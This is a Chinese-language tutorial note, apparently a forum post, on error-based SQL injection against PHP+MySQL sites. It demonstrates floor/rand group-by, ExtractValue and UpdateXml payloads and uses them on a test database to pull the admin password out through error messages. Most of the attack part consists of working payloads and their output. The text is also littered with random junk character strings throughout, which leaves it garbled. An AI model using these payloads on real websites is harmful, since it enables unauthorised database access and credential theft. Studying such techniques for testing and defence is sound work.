放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。' ?3 U! i. A6 g0 t9 l& ^2 `) ~
实际测试环境:
7 ~2 R0 ~" ]6 z
! J4 S' M e/ g [- |* [
. Q% K; f. C4 ^3 k9 s Kmysql> show tables;$ i" m$ b8 X+ s/ B! L( n9 H; a
+----------------+3 h' }! s; g" G9 O1 p
| Tables_in_test |. t( A* n% ~+ Y# W
+----------------+
2 S8 B5 G1 K) ]8 \4 K5 N| admin |
* |0 `' c/ E$ Z8 I4 D| article |; G* h0 h5 }& b! a
+----------------+' Y4 T# G5 }: R
[0 ~. _0 l5 a. ?# c' u
% K' M2 _ [. e2 H $ w! i0 Z0 A' J0 R! f
mysql> describe admin;
3 V$ x& B6 s7 D+-------+------------------+------+-----+---------+----------------+
6 p: ]9 a) E/ ^6 I% N% R| Field | Type | Null | Key | Default | Extra |
9 |; |, i+ T+ c, S+-------+------------------+------+-----+---------+----------------+( Q( G. H i: h' m9 _3 c3 L% i+ q
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
+ S% c, k. e" z' ?! ]+ a| user | varchar(50) | NO | | NULL | |
5 ?5 _6 E, u* D/ d| pass | varchar(50) | NO | | NULL | |
4 |% l3 G- H7 t8 P5 P) d. J+-------+------------------+------+-----+---------+----------------+- g2 d) ?4 M5 k
. B2 O w# p9 Z
- V3 S4 f/ g9 s6 J5 @1 z
. @8 Y- c9 y& O. {+ y, _mysql> describe article;. a* {* ?' ?( G3 a
+---------+------------------+------+-----+---------+----------------+" A/ x0 n S" W- }
| Field | Type | Null | Key | Default | Extra |; f5 `6 q$ T) j$ \2 H
+---------+------------------+------+-----+---------+----------------+
$ A$ F+ H; m4 M0 j1 B6 a/ ~| id | int(10) unsigned | NO | PRI | NULL | auto_increment |+ e: c0 a0 Y7 R3 R8 ?5 ?
| title | varchar(50) | NO | | NULL | |
0 [$ J6 x J/ m; V| content | varchar(50) | NO | | NULL | |
( M6 _" ~0 n1 n0 x2 U( ^8 {+---------+------------------+------+-----+---------+----------------+# K: l! x% m! Q! F" Y6 _( r
1、通过floor报错7 c) c$ U' m' r5 S4 b5 U8 b
可以通过如下一些利用代码
( {6 ^2 z v# F8 z" t4 Y2 U$ A4 I
$ R$ ]3 v3 `/ ~ 8 f( U5 B, N! q" k$ T; R7 ~2 H
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
+ G$ i8 S8 |) O% \/ R: s2 C+ c( {from information_schema.tables group by x)a);
1 s8 C0 C7 L* Q o6 ~. k
/ w' d# `8 l5 E$ g, Y+ q$ u# } u3 r2 d/ g1 l* D
and (select count(*) from (select 1 union select null union select !1)x
) S$ O a% K* ]8 _ m8 b% lgroup by concat((select table_name from information_schema.tables limit 1),
) J R9 t! p! ~8 |: A/ ~floor(rand(0)*2)));
+ U6 k7 U8 _2 t举例如下:) @, b& ^2 N3 X7 _- o
首先进行正常查询:
$ j d+ C( C5 A6 u: v / Z9 y% N9 B. Z
mysql> select * from article where id = 1;
- x, `* g9 q2 `8 r+----+-------+---------+
/ h z/ D3 ~, G2 A| id | title | content |
. | l) e( N% C: B+----+-------+---------+/ n3 }8 L. L8 g6 Z
| 1 | test | do it |
& d2 o w* R$ ?' u+----+-------+---------+
$ @9 W s& S( D- X: x假如id输入存在注入的话,可以通过如下语句进行报错。
6 d& u# p U9 J! f G2 P% R % J8 J Y: b9 @- |, V
" y7 J+ v0 p) C
mysql> select * from article where id = 1 and (select 1 from
$ P( y$ y4 B! m4 G4 b(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);5 m1 ?# P0 s$ K0 E9 c* `
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'1 Z/ m$ X1 x: L9 R5 w
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。5 y. U1 a1 v) _) g* [9 K6 e0 U
例如我们需要查询管理员用户名和密码:/ _/ c3 {- a) C% m8 {
Method1:, {2 X. M" y `
2 c& Z( o" t- U4 b( x( N
, u! B) A2 j8 T, U. U$ X$ X% i8 M8 Omysql> select * from article where id = 1 and (select 1 from
+ S' I3 N% i3 g: g(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
* y5 u% k" ?% [6 }% mfrom information_schema.tables group by x)a);
3 m9 t1 ^* X6 KERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'! `" K/ }+ G2 f- e2 k
Method2:
0 t0 x& z! I0 t9 `, r2 X" N
: Z/ T8 b% e' v; @* N( \4 C: \
7 p) O5 u4 _2 s8 Zmysql> select * from article where id = 1 and (select count(*)
* K% R5 e. z5 Y& Y7 Qfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
: k' y! h4 e2 p1 n* C7 kfloor(rand(0)*2)));
6 j: Y$ |0 F. N3 N. X0 iERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
* K) `2 N7 t1 U/ ~# E2、ExtractValue7 V* X5 m+ Y2 M) V
测试语句如下
% G$ U3 Q# l0 N. q7 v
. g1 ^; n- k1 c2 g+ l. w" z 8 @* ], l/ n) F2 [- n6 v% J9 n
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));& u& R/ \9 N0 g- s5 C0 n9 @
实际测试过程
' F4 h; F+ V2 ~$ t
1 J+ A0 @$ M$ W
8 k1 a4 E! p, S! v) O( q+ j& nmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
j8 g) i0 b% q(select pass from admin limit 1)));--# H9 V7 C0 `4 y6 X! f' X; H$ W% i5 G
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
* t& d6 f& ^! V0 o" }7 j# o/ A( T c3、UpdateXml
# S, g$ h6 l# B- U8 ^. ^测试语句
+ Z+ ?9 n! `% Z% M7 u) @7 K0 i 9 J; N, @2 U' A3 n
) |+ o3 L' Y8 }and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))8 s7 k1 I8 b* z2 _4 t& o9 n
实际测试过程
1 N9 g* Q# f8 Y7 F; p 1 o! e+ C& z3 @! _# ~4 ~3 b
/ G' G. `4 f3 y y
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,; {# S& ?' |8 a2 A4 y& ]2 L
(select pass from admin limit 1),0x5e24),1));
, g, E' f( r# o2 A8 r4 j* c6 tERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'9 a4 e5 L; s) M9 F. j8 b% o- `
All, thanks foreign guys.9 o4 t4 M, V7 ]! u: Y8 M
5 o% F# Z& j5 [& m
- f/ R" P1 L' R* ?7 q8 p |